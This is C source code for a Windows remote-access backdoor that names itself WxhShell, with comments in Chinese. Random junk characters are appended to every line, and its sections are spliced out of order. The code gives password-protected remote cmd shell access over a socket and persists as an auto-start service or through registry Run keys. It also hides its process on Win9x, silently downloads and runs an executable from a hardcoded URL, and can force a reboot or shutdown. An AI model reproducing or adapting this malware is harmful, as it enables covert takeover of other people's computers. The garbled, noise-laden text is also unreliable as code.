    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6d/Q"As  
    if(Boot(SHUTDOWN)) VQqBo~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G\ F>*  
    else { r!f UMDS  
    closesocket(wsh); g/f6N z  
    ExitThread(0); M5w/TN  
    } =K0%bI  
    break; gIz!~I_U  
    } v[|W\y@H/3  
  // 获取shell 3 e'6A^#  
  case 's': { hsY?og_H  
    CmdShell(wsh); OWwqCPz.  
    closesocket(wsh); l+ >eb  
    ExitThread(0); d2Q*1Q@u  
    break; 8cOft ;|qB  
  } oDu6W9+  
  // 退出 %H\J@{f  
  case 'x': { 6Jq[]l"v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,k~' S~w.  
    CloseIt(wsh); 2kDY+AN;  
    break; 8u~  
    } -O\i^?lD;  
  // 离开 TyIjDG6tM  
  case 'q': { Rs5lL-I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \X&8EW  
    closesocket(wsh); Z[IM\# "  
    WSACleanup(); ?[Y(JO#  
    exit(1); Y&yfm/Ru  
    break; f0SrPc v  
        } bD,X.  
  } Jf?6y~X>Y  
  } O%kUj&h^  
Gu~*ZKyJ  
  // 提示信息 sq`Xz 8u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V($V8P/  
} KWY_eY_|  
  } "."(<c/3  
seEo)m`d  
  return; T%)E!:}v  
} {>1FZsR49t  
?v M9 !  
// shell模块句柄 ecs 0iW-,  
int CmdShell(SOCKET sock) T8A(W  
{ 3:nBl?G<  
STARTUPINFO si; %\<b{x# G  
ZeroMemory(&si,sizeof(si)); kd^H}k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B ktRA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SdYf^@%}F  
PROCESS_INFORMATION ProcessInfo; ]7Vg9&1`  
char cmdline[]="cmd"; ;9OhK71}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); TC/c5:)]  
  return 0; A_9^S!  
} )  FR7t  
]w6Q?%'9  
// 自身启动模式 -sQ[f18  
int StartFromService(void) *"w hup[  
{ 4l  ZK@3  
typedef struct GA gTy  
{ * $f`ouJl  
  DWORD ExitStatus; ;B=aK"\  
  DWORD PebBaseAddress; ZEI,9`t!  
  DWORD AffinityMask; jj[6oNKE1  
  DWORD BasePriority; fYUV[Gm  
  ULONG UniqueProcessId; =p'+kS+  
  ULONG InheritedFromUniqueProcessId; JnsJ]_<  
}   PROCESS_BASIC_INFORMATION; r+Ki`HD%  
0mSP  
PROCNTQSIP NtQueryInformationProcess;  .fl r  
O,B\|pd2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9 5mf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j-ej7  
-n05Z@7  
  HANDLE             hProcess; C*(  
  PROCESS_BASIC_INFORMATION pbi; GVXdyi  
G@H!D[wd  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "9s_[e  
  if(NULL == hInst ) return 0; A0)^I:&  
f zo'9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h) Wp  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =Hd yra  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n6% `  
uAPVR  
  if (!NtQueryInformationProcess) return 0; J |q(HpB  
#; ?3k uq(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xrkl)7;  
  if(!hProcess) return 0; B}d&tH2^s  
*vaYI3{qN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Kn~Rck| ]  
Zl5'%b$&  
  CloseHandle(hProcess); @zg}x0]  
)J S6W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >-A@6Qe_  
if(hProcess==NULL) return 0; )SmnLvL  
^OY]Y+S`Ox  
HMODULE hMod; +%W8Juu  
char procName[255]; 4qie&:4j  
unsigned long cbNeeded; F]3Y,{/V  
s7Agr!>f  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B`}um;T#~,  
P'Rw/c o  
  CloseHandle(hProcess); h+g\tYWGP  
v(2N@s <%  
if(strstr(procName,"services")) return 1; // 以服务启动 J3_aHI  
u;_~{VJ-  
  return 0; // 注册表启动 @yuiNj .T  
} bT.q@oU  
gN=.}$Kfu  
// 主模块 R_PF*q2 '  
int StartWxhshell(LPSTR lpCmdLine) 5Kg'&B (  
{ [%.v;+L  
  SOCKET wsl; 3gi)QCsk  
BOOL val=TRUE; E^i]eK*"  
  int port=0; &$ h~Q  
  struct sockaddr_in door; aas.-N T  
hN-@_XSw<I  
  if(wscfg.ws_autoins) Install(); Py)ZHML  
A8Ju+  
port=atoi(lpCmdLine); glMHT,  
Ha@; Sz<R  
if(port<=0) port=wscfg.ws_port; 5BhR4+1J  
P"w\hF  
  WSADATA data; |H5.2P&9-5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I/f\m}}ba  
I/dy^5@F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $O%{l.-O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nYyhQX~]B  
  door.sin_family = AF_INET; rpT.n-H>%A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L80(9Y^xn  
  door.sin_port = htons(port); ~Bzzu % S  
bKo %Ak,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8 t5kou]h  
closesocket(wsl); 11=$] K>  
return 1; 'X?xn@?  
} xl\Kj2^  
$m4-^=  
  if(listen(wsl,2) == INVALID_SOCKET) { x)::^'74  
closesocket(wsl); g@`i7qN  
return 1; c5YPV"X  
} iQ)ydY a  
  Wxhshell(wsl); W7>2&$  
  WSACleanup(); +<7Oj s>o  
E#k{<LYI  
return 0; MYAt4cHc2  
OR <+y~Rv  
} (@1:1K(   
6CY&pbR  
// 以NT服务方式启动 k +-w%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _[2@2q0  
{ S&-K!XyJ  
DWORD   status = 0; vi,hWz8WB  
  DWORD   specificError = 0xfffffff; >@YefNX6  
tEhg',2t(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,EB}IG ]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z5>I9R^q;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H71sxek3  
  serviceStatus.dwWin32ExitCode     = 0; Wc3z7xK1@  
  serviceStatus.dwServiceSpecificExitCode = 0; P-@MLIC{  
  serviceStatus.dwCheckPoint       = 0; 7zM:z,  
  serviceStatus.dwWaitHint       = 0; "j^i6RS  
( ay AP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [?!I*=*b  
  if (hServiceStatusHandle==0) return; 6}4})B2  
DP ? d C`  
status = GetLastError(); Wq1>Bj$J8  
  if (status!=NO_ERROR) *pKTJP  
{ }47h0 i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ++0)KSvw  
    serviceStatus.dwCheckPoint       = 0; %M(RV_R+6  
    serviceStatus.dwWaitHint       = 0; c3vb~l)  
    serviceStatus.dwWin32ExitCode     = status; "s+4!,k  
    serviceStatus.dwServiceSpecificExitCode = specificError; r"7n2   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4DA34m(  
    return; ~^m Uu`@r  
  } [{x}# oRSE  
pCIzpEsRs  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %$!3Pbu i  
  serviceStatus.dwCheckPoint       = 0; ag=d6q  
  serviceStatus.dwWaitHint       = 0; t'qYM5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Jz@~$L  
} ?8b19DMK6  
!|cg=  
// 处理NT服务事件,比如:启动、停止 GtA`0B  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h!EA;2yGKa  
{ +EETo):  
switch(fdwControl) FcDS*ZEk!  
{ 4.RQ3SoDa  
case SERVICE_CONTROL_STOP: zKJ2 ~=  
  serviceStatus.dwWin32ExitCode = 0; BrV{X&>[i  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z~5) )5Ye;  
  serviceStatus.dwCheckPoint   = 0; xUo6~9s7  
  serviceStatus.dwWaitHint     = 0; k:@DK9 "^  
  { +a1x;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #~u0R>=  
  } LFp "Waiv  
  return; +{J8,^z#  
case SERVICE_CONTROL_PAUSE: )- C3z   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NTg@UT <  
  break; IrLGAQ0  
case SERVICE_CONTROL_CONTINUE: qL(Q1O!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V$^jlWdR  
  break; {z#2gc'Q  
case SERVICE_CONTROL_INTERROGATE: 9Em#Ela  
  break; *XVwTW[a  
}; r"h;JC/&<T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I=Y>z ^4  
} (i1JRn-f  
vvoxK0  
// 标准应用程序主函数 / HTY>b  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GD W@/oQr  
{ gYpMwC{*d  
Ui{%q @  
// 获取操作系统版本 v3tJtb^'!  
OsIsNt=GetOsVer(); f:T?oR>2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); % RSZ.  
<n"BPXF~  
  // 从命令行安装 D #ddx  
  if(strpbrk(lpCmdLine,"iI")) Install(); M>8J_{r^  
i!wU8 @  
  // 下载执行文件 cr7MvXF-  
if(wscfg.ws_downexe) { $vO&C6m$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {Kz,_bo  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7nZPh3%  
} e#eVc'=cDR  
x&}]8S)  
if(!OsIsNt) { *GP2>oEM  
// 如果时win9x,隐藏进程并且设置为注册表启动 /zn=AAYb  
HideProc(); o5<<vvdA  
StartWxhshell(lpCmdLine); '%)R}wgV  
} *{o7G  a  
else [}RoZB&I  
  if(StartFromService()) GK(CuwJe  
  // 以服务方式启动 U)S=JT~h  
  StartServiceCtrlDispatcher(DispatchTable); :!ya&o  
else gL;Kie6Z  
  // 普通方式启动 6% D9;-N)  
  StartWxhshell(lpCmdLine); " qI99e  
p{FI_6db  
return 0; Bf_$BCyGW  
} '`];=QY9pg  
H=r-f@EOrI  
t>"%exdoZ  
d|`Ll  
=========================================== v* ;d  
lW bu`y  
Dn- gP  
7ubz7*  
p7?  
&y[NC AeA  
" p7h#.m~Qu  
WWT1= #"  
#include <stdio.h> 5{Cz!ut;tE  
#include <string.h> uOxHa>h  
#include <windows.h> PT"}2sR)  
#include <winsock2.h> }Q7y tE  
#include <winsvc.h> 4#U}bN  
#include <urlmon.h> 3Ob.OwA  
R[WiW RfD  
#pragma comment (lib, "Ws2_32.lib") |"H 2'L$  
#pragma comment (lib, "urlmon.lib") ~z,o):q1 }  
(!j#u)O  
#define MAX_USER   100 // 最大客户端连接数 <v"o+  
#define BUF_SOCK   200 // sock buffer !e$gp (4  
#define KEY_BUFF   255 // 输入 buffer 5J5si<v25  
DE?v'7cmA  
#define REBOOT     0   // 重启 &W `xZyb3  
#define SHUTDOWN   1   // 关机 R>Ra~ b  
9KSi-2?H  
#define DEF_PORT   5000 // 监听端口 _IH" SVub  
rg/{5f  
#define REG_LEN     16   // 注册表键长度 %H{p&ms  
#define SVC_LEN     80   // NT服务名长度 | HazM9=  
xO$P C,  
// 从dll定义API @hLkU4S  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Cs $5Of(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {]vD@)k  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \& JZ >h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jDzQw>T X  
1Pf(.&/9_  
// wxhshell配置信息 S_}`'Z )  
struct WSCFG { Cj5mM[:s  
  int ws_port;         // 监听端口 Lu.zc='\  
  char ws_passstr[REG_LEN]; // 口令 UHBXq;?&q  
  int ws_autoins;       // 安装标记, 1=yes 0=no K^- 1M?  
  char ws_regname[REG_LEN]; // 注册表键名 Io6/Fv>!  
  char ws_svcname[REG_LEN]; // 服务名 f| RmAP;X,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *Cy54Z#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Hl*vS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Cu"Cpt[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .UyE|t4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" HL)!p8UHJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 DA=!AK>  
~lj~]j  
}; 0D-`>_  
]`^! ]Ql  
// default Wxhshell configuration Ob d n#Wm=  
struct WSCFG wscfg={DEF_PORT, $JE,u' JQ  
    "xuhuanlingzhe", !(s n9z#  
    1, e3~MU6  
    "Wxhshell", a6p0_-MF  
    "Wxhshell",  0^;2  
            "WxhShell Service", Kg@'mG  
    "Wrsky Windows CmdShell Service", f%Q)_F[0D4  
    "Please Input Your Password: ", +`y(S}Z  
  1, =KRM`_QShg  
  "http://www.wrsky.com/wxhshell.exe", TS<d?:  
  "Wxhshell.exe" /-=fWtA  
    }; lFBdiIw  
<}a?<):S  
// 消息定义模块 +X?ErQm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~ELY$G.xl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =w2 4(S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; PK*Wu<<  
char *msg_ws_ext="\n\rExit."; A2 l?F  
char *msg_ws_end="\n\rQuit."; Q PH=`s  
char *msg_ws_boot="\n\rReboot..."; A=|XlP$6  
char *msg_ws_poff="\n\rShutdown..."; 3^xUN|.F*V  
char *msg_ws_down="\n\rSave to "; UBvp3 2p  
i,Ct AbMx  
char *msg_ws_err="\n\rErr!"; uo F.f$%"  
char *msg_ws_ok="\n\rOK!"; ^$c#L1 C  
16NHzAQ  
char ExeFile[MAX_PATH]; ?HEqv$n  
int nUser = 0; T^bA O-d#  
HANDLE handles[MAX_USER]; CK* * RZ  
int OsIsNt; fv+]iK<{  
>7U/TVd&  
SERVICE_STATUS       serviceStatus; 1HJ: ?]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >KKWhJ  
q? ,PFvs"  
// 函数声明 mvn- QP~"  
int Install(void); (f/(q-7VWt  
int Uninstall(void);  C=D*  
int DownloadFile(char *sURL, SOCKET wsh); 1ni+)p>]  
int Boot(int flag); XcR=4q|7  
void HideProc(void); WP<L9A  
int GetOsVer(void); Xr*I`BJ  
int Wxhshell(SOCKET wsl); 1v@#b@NXM7  
void TalkWithClient(void *cs); W/'1ftn?D  
int CmdShell(SOCKET sock); 0cG'37[  
int StartFromService(void); bWPsfUn#  
int StartWxhshell(LPSTR lpCmdLine); TykT(=  
y:G%p3h)[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]uXJjS f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0B6!$) *-i  
ZR>BK,  
// 数据结构和表定义 V"Q\7,_k.  
SERVICE_TABLE_ENTRY DispatchTable[] = GT{4L]C  
{ 72HA.!ry  
{wscfg.ws_svcname, NTServiceMain}, D%SOX N  
{NULL, NULL} #~0Nk6*u  
}; J}|X  
\C~X_/sg  
// 自我安装 CS^6$VL7e  
int Install(void) Q_mphW:[  
{ -jH|L{Iyq}  
  char svExeFile[MAX_PATH]; dPUe5k)G_  
  HKEY key; oEIpv;:_  
  strcpy(svExeFile,ExeFile); Rv1W&s&  
 Y@,iDQ  
// 如果是win9x系统,修改注册表设为自启动 NAYLlW}A  
if(!OsIsNt) { *V>?m6y/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7FX4|]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Pz)lq2Zm9  
  RegCloseKey(key); jIh1)*]054  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @]uqC~a^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g*k)ws  
  RegCloseKey(key); [ATJ! O  
  return 0; /t5)&  
    } J[/WBVFDf  
  } OB>Hiy   
} z} fpV T  
else { AD?zBg Zu  
O'4G'H)   
// 如果是NT以上系统,安装为系统服务 N8A)lYT]_u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )JMqC+J3*t  
if (schSCManager!=0) k4+vI1Cs  
{ 0U42QEG2  
  SC_HANDLE schService = CreateService Nd8>p.iqO  
  ( CKAd\L   
  schSCManager, 8/e-?2l  
  wscfg.ws_svcname, EQ%ooAb8  
  wscfg.ws_svcdisp, ;i@S}LwL  
  SERVICE_ALL_ACCESS, Yf0 KG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }[+uHR6L  
  SERVICE_AUTO_START, =Rd`"]Mnfb  
  SERVICE_ERROR_NORMAL, JCWTB`EB>  
  svExeFile, "@ >6<(Ki  
  NULL, +pd,gG?dW  
  NULL, X[tt'5  
  NULL, s-p)^B  
  NULL, HxI6_>n^I  
  NULL pcMzLMG<  
  ); !GOaBs  
  if (schService!=0) 0X)vr~`  
  { +\!.X _Ij  
  CloseServiceHandle(schService); Ak[X`e T  
  CloseServiceHandle(schSCManager); {FI zoR"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )uqzu%T  
  strcat(svExeFile,wscfg.ws_svcname); rPH7 ]]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %H{pU:[5*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]r`;89:s>  
  RegCloseKey(key); -K{R7  
  return 0; "vGh/sXW  
    } H cmW  
  } 1>(EvY}Y\  
  CloseServiceHandle(schSCManager); R"ON5,E  
} G,C`+1$*  
} _CD~5EA:  
WD5J2EePT  
return 1; (MGg r  
} J[lC$X[  
G ;j1zs  
// 自我卸载 @*%3+9`yq  
int Uninstall(void) ? AfThJc  
{ a4:GGzt  
  HKEY key; 0ix(1`Z  
n;Bb/Z!~  
if(!OsIsNt) { tN#C.M7.'7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C?qRZB+W#  
  RegDeleteValue(key,wscfg.ws_regname); xG!~TQ  
  RegCloseKey(key); 6_mi9_w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h<9vm[.  
  RegDeleteValue(key,wscfg.ws_regname); 7FH(C`uKi  
  RegCloseKey(key); _k:8ib2TQ  
  return 0; !}Xoqamm  
  } 8}n< 3_  
} 0zW*JJxV  
} |5u~L#P  
else { KL \>-  
rLTBBvV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \$9C1@B@  
if (schSCManager!=0) 2"&GH1  
{ \,S |>CPQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9'MGv*Ho  
  if (schService!=0) N~/ 'EaO  
  { z;JV3) E  
  if(DeleteService(schService)!=0) { @]qP:h.  
  CloseServiceHandle(schService); kf@JEcKV  
  CloseServiceHandle(schSCManager); 1PY]Q{r  
  return 0; zPnb_[YF  
  } aRTy=~  
  CloseServiceHandle(schService); rrL.Y&DTK  
  } [,Ehu<mEK  
  CloseServiceHandle(schSCManager); L<FXtBJ  
} E{ /, b)  
} /8; m.J>bf  
8N&' n  
return 1; oAO{4xP  
} XG|N$~N+2  
(d4btcg  
// 从指定url下载文件 V]|X ,G  
int DownloadFile(char *sURL, SOCKET wsh) tz ;3  
{ cWW?@ _  
  HRESULT hr; S]3CRJU3`  
char seps[]= "/"; ]bds~OY5 U  
char *token;  l"ms:v  
char *file; fd[N]I3  
char myURL[MAX_PATH]; )tG. 9"<  
char myFILE[MAX_PATH]; Q`F1t  
k;\gYb%L  
strcpy(myURL,sURL); \2@J^O1,  
  token=strtok(myURL,seps); .wNXvnWr  
  while(token!=NULL) pU_3Z3CeE  
  { >YI Vi4''  
    file=token; +b 6R  
  token=strtok(NULL,seps); L{1sYR%s\  
  } g8O6 b  
44KoOY_  
GetCurrentDirectory(MAX_PATH,myFILE); N3"JouP  
strcat(myFILE, "\\"); <0d2{RQ;  
strcat(myFILE, file);  G*z\ ^H  
  send(wsh,myFILE,strlen(myFILE),0); 'K4FS(q  
send(wsh,"...",3,0); J>(X0@eWz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); TuQGF$n@  
  if(hr==S_OK) xM%4/QE+  
return 0; tp`1S+'~j  
else ROFZ*@CH<  
return 1; xhP~]akHN7  
ZiUb+;JA  
} R;DU68R  
vRe{B7}p;  
// 系统电源模块 |aDBp  
int Boot(int flag) ^/BGOBK  
{ ",,#q  
  HANDLE hToken; m* m),mZ"  
  TOKEN_PRIVILEGES tkp; -,bnj^L  
Et3I(X3  
  if(OsIsNt) { d?7?tL2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `XxnQng  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l!*_[r   
    tkp.PrivilegeCount = 1; +gd5&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t"$~o:U&)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); coAXYn  
if(flag==REBOOT) { Uxjc&o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -leX|U}k  
  return 0; Q]9$dr=Kk0  
} ?4':~;~  
else { CyIlv0fd}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) FMdu30JV  
  return 0; ! AwMD  
} uG\~Hxqw7O  
  } *I 1H  
  else { X%b1KG|#(  
if(flag==REBOOT) { dk&e EDvfd  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z>N[veX%  
  return 0; :7K a4  
} Et3]n$  
else { /x49!8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0j@mzd2  
  return 0; ;MN$.x+  
} T >8P1p@A,  
} iTHwH{!  
x)C}  
return 1; j*>J1M3E  
} [1rQ'FBB^1  
x^K4&'</  
// win9x进程隐藏模块 HJ&P[zV^  
void HideProc(void) {VAih-y  
{ _^E NRk@  
@bg9 }Z%\h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?;,;  
  if ( hKernel != NULL ) FW-I|kK.  
  { J];Sj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G|,&V0*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -K/+}4i3N  
    FreeLibrary(hKernel); [|:{qQyD  
  } zyS8LZ-y9  
uZ?P{E,K  
return; vx9!KWy}  
} 4A J]qu  
5e7YM@ng  
// 获取操作系统版本 XO]^+'U}p  
int GetOsVer(void) AQZ<,TE0,  
{ bqbG+ g  
  OSVERSIONINFO winfo; ]q"&V\b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hF$`=hE,F~  
  GetVersionEx(&winfo); .{ v$;g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jC&fnt,O  
  return 1; Ql{#dcRx  
  else r<0E[ ~  
  return 0; *duG/?>P  
} dBI-y6R  
Y|R=^ =d\  
// 客户端句柄模块 _9>,9aL  
int Wxhshell(SOCKET wsl) Hf('BagBL  
{ SRfh{u  
  SOCKET wsh; m]?Z_*1  
  struct sockaddr_in client; W^iK9|[qp  
  DWORD myID; CA#g(SiZ  
^t'mW;C$4  
  while(nUser<MAX_USER) eJoM4v  
{ p -$C*0{  
  int nSize=sizeof(client); z)T-<zWO;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qy|bOl  
  if(wsh==INVALID_SOCKET) return 1; {\5(aQ)Vi5  
#R5\k-I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); StJb-K/_cL  
if(handles[nUser]==0) -`' |z+V  
  closesocket(wsh); 8;gi8Y  
else [r`KoHwdm  
  nUser++; [WDzaRzd  
  } 4r$#-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xVPSL#>  
a*(Zb|g  
  return 0; S #GxKMO%  
} :la i0> D  
2E40&  
// 关闭 socket p8,=K<  
void CloseIt(SOCKET wsh) k1,k 9BK  
{ Ubu&$4a  
closesocket(wsh); A"S"La%"  
nUser--; L$=R/l  
ExitThread(0); M !6Fnj  
} >n,_Aj c  
Fizrsr 6%  
// 客户端请求句柄 ^\v]Ltd  
void TalkWithClient(void *cs) p&Qb&nWk<  
{ .OJG o<#$f  
0se%|Z|8  
  SOCKET wsh=(SOCKET)cs; >Cr"q*  
  char pwd[SVC_LEN]; q]{gAGe~  
  char cmd[KEY_BUFF]; <~m qb=qA$  
char chr[1]; @_`r*Tb)dM  
int i,j; "[ LUv5  
g/C 7wc  
  while (nUser < MAX_USER) { <lB2Nv-,  
%uo8z~+  
if(wscfg.ws_passstr) { hp)>Nzdx  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6 :4GI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;Pk"mC  
  //ZeroMemory(pwd,KEY_BUFF); OD'~t,St  
      i=0; :kHk'.V1(  
  while(i<SVC_LEN) { lH3.q4D 5  
-=lm`X<:  
  // 设置超时 /6rjGc  
  fd_set FdRead; XI`_PQco  
  struct timeval TimeOut; Kvg=7o  
  FD_ZERO(&FdRead); .45wwouZkc  
  FD_SET(wsh,&FdRead); Z kw-a  
  TimeOut.tv_sec=8; c&T5C, ]  
  TimeOut.tv_usec=0; DAq H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #N`'hPD}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l]|&j`'O  
bpsyO>lx/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G5qsnTxUJ  
  pwd=chr[0]; Lx- %y'P  
  if(chr[0]==0xd || chr[0]==0xa) { 8nI~iN?"   
  pwd=0; MLr L"I"  
  break; .g/!u(iy  
  } VQ!4( <XD  
  i++; 9]3l'  
    } o2(w  
AkW,Fp1e  
  // 如果是非法用户,关闭 socket -v9(43  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IG0_  
} Y#lAG@$  
X)SUFhP\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pW ~;B*hF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 87[o^)8  
w'}s'gGE  
while(1) { 3R/6/+S-  
~^.,Ftkb@7  
  ZeroMemory(cmd,KEY_BUFF); {Q/@Y.~<  
08:K9zr  
      // 自动支持客户端 telnet标准   ^I/(9KP#  
  j=0; -rsS_[$2  
  while(j<KEY_BUFF) { cMi9 Z]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `T[yyOL/  
  cmd[j]=chr[0]; 0(&uH0x  
  if(chr[0]==0xa || chr[0]==0xd) { 5M\0t\uEn  
  cmd[j]=0; Mxz X@GBX  
  break; ,~;`@  
  } 36'J9h\  
  j++; rKPsv*w  
    } }c/#WA|b  
lJa-O  
  // 下载文件 _`Kh8G {e  
  if(strstr(cmd,"http://")) { Ew}GPJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H?opG<R=ek  
  if(DownloadFile(cmd,wsh)) p,WBF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I-.? qcy~  
  else gu3)HCZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >`3 0 ib  
  } _)-2h[  
